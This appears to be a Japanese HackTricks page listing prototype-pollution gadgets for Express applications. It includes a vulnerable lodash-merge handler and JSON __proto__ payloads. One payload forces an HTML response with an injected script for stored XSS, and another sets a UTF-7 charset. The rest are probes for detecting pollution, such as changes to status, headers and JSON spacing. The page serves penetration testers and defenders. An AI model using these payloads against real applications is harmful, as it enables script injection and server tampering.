Expressプロトタイプ汚染ガジェット
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
XSSレスポンスを提供する
詳細については 元の研究を参照してください
JSONコンテンツタイプをHTMLに変更する
ExpressアプリでJSONコンテンツタイプのレスポンスを使用し、JSONを反映させる:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
これらのケースでは、JSONコンテンツタイプでは通常XSSは不可能です。しかし、プロトタイプ汚染を利用することで、Expressを混乱させてHTMLレスポンスを提供させることができます。 この脆弱性は、アプリケーションが**res.send(obj)
**を使用し、application/jsonコンテンツタイプでボディパーサーを使用することに依存しています。
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
body
と _body
プロパティを 汚染 することで、ExpressがHTMLコンテンツタイプを提供し、 _body
プロパティを反映させることが可能になり、保存されたXSSが発生します。
UTF7をレンダリング
Expressが UTF-7コンテンツをレンダリングする ことが可能です:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
安全なスキャン技術
JSONスペース
次のPPは、JSON内の属性に追加のスペースを持たせ、機能を壊さないようにします:
{ "__proto__": { "json spaces": " " } }
その後、反射されたJSONは次のようになります:
{"foo": "bar"} -- Note the extra space
Exposed Headers
次のPPガジェットは、サーバーがHTTPヘッダーを返すようにします: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
CORSモジュールをインストールする必要があります
OPTIONSメソッド
次のペイロードを使用すると、OPTIONSレスポンスからメソッドを隠すことが可能です:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
ステータス
次のPPペイロードを使用して返されるステータスコードを変更することが可能です:
{ "__proto__": { "status": 510 } }
エラー
プリミティブ(例えば文字列)を使ってプロトタイプに割り当てると、プロトタイプはオブジェクトでなければならないため、何も行わない操作が生成されます。Object.prototype
自体にプロトタイプオブジェクトを割り当てようとすると、例外がスローされます。これらの2つの動作を使用して、プロトタイプ汚染が成功したかどうかを検出できます:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
反射値
アプリケーションがレスポンスにオブジェクトを含めるとき、__proto__
と一緒に異常な名前の属性を作成することは洞察を与える可能性があります。特に、異常な属性のみがレスポンスに返される場合、これはアプリケーションの脆弱性を示している可能性があります:
{ "unusualName": "value", "__proto__": "test" }
さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染(PP)を介しておよびオブジェクト内で直接プロパティを設定することが、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、Lodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
雑多
ドットを許可する
Expressには、クエリ文字列パラメータからオブジェクトを作成するオプションがあります。
これは、プロトタイプ汚染の脆弱性を悪用するバグチェーンで確実に使用できます。
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
はNodeでオブジェクトを作成します。
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。